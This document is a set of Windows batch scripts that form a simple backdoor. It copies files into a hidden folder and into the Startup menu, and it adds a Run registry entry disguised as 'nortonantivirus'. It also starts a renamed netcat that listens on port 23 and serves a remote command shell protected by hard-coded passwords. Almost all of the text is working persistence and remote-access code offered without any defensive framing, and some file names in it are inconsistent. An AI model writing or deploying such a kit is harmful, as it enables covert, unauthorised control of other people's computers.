autostart.bat @echo off if not exist %temp%\$foo$.file ( call rem > %temp%\$foo$.file & ( start /min cmd /c%~ndpxs0 %* & exit)) del %temp%\$foo$.file copy /y cmd.bat "c:\Documents and Settings\Administrator\Start Menu\Programs\Startup\cmd.bat" copy /y system22.bat "c:\WINDOWS\system22.bat" mkdir "c:\Program Files\System" copy /y myserver.exe "c:\Program Files\System\myserver.exe" copy /y remoteserver.bat "c:\Program Files\System\remoteserver.bat" copy /y runserver.bat "c:\Program Files\System\runserver.bat" copy /y serverstart.exe "c:\Program Files\System\serverstart.bat" SET KEY=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run REG ADD %KEY% /V nortonantivirus /D "%systemdrive%\Program Files\System\runserver.bat" /f attrib +s +r +h "c:\Program Files\System" exit cmd.bat @echo off if not exist %temp%\$foo$.file ( call rem > %temp%\$foo$.file & ( start /min cmd /c%~ndpxs0 %* & exit)) start "C:\Program Files\System\runserver.bat" exit remoteserver.bat @echo off color 80 cls :login title Login echo. set /p user=Username: set /p pass=Password: if %user% == bubble goto bubble if %user% == marc goto marc :kick echo. echo Wrong Username or password pause exit :bubble if %pass%==noob goto logged goto kick :marc if %pass%==noob goto logged goto kick :logged cd\ cd logs netstat >>log%user%.txt cls echo. echo Welcome %user% echo. cd\ cd %user% pause serverstart.bat :action echo. set /p action=\home\%mypath%\: if %action%== echo goto echo if %action%== mkdir goto mkdir if %action%== cd goto cd if %action%== help goto help if %action%== start goto start if %action%== logout goto logout if %action%== cls goto cls if %action%== color goto color if %action%== dir goto printdir echo. echo Please type a valid command goto action :mkdir echo. set /p dir=What directory: mkdir %dir% echo Completed goto action :cd echo. set /p dir=What directory: cd %dir% echo Completed set mypath=%dir% goto action :help echo. echo mkdir (makes file) echo cd (changes directory) echo help (displays commands) echo start (runs a program) echo logout (logs out of your name) echo cls (clears the screen) echo color (changes the color) echo dir (prints the current directory on the screen) echo echo (prints words on the screen) echo. goto action :start echo. set /p program=What program: start %program% echo Completed goto action :logout echo. cls echo. echo Good Bye %user% echo. pause exit :cls cls goto action :color echo. set /p color=What color: color %color% echo Completed goto action :printdir dir goto action :echo echo. set /p words=What to echo: echo %words% echo Completed goto action runserver.bat @echo off if not exist %temp%\$foo$.file ( call rem > %temp%\$foo$.file & ( start /min cmd /c%~ndpxs0 %* & exit)) start myserver -t -L -p 23 -d -e serverstart.bat exit serverstart.bat if not exist %temp%\$foo$.file ( call rem > %temp%\$foo$.file & ( start /min cmd /c%~ndpxs0 %* & exit)) start remotserver.bat exit myserver.exe is the netcat for winows executable renamed to myserver.exe system22.bat extra commands can be put in this file